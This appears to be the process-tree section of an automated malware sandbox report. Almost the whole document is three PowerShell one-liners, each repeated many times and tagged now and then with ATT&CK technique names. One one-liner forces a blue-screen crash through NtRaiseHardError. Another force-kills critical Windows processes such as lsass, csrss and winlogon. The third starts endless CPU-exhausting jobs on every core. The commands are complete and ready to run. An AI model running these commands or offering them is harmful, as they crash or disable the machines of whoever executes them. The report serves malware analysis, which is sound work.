C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
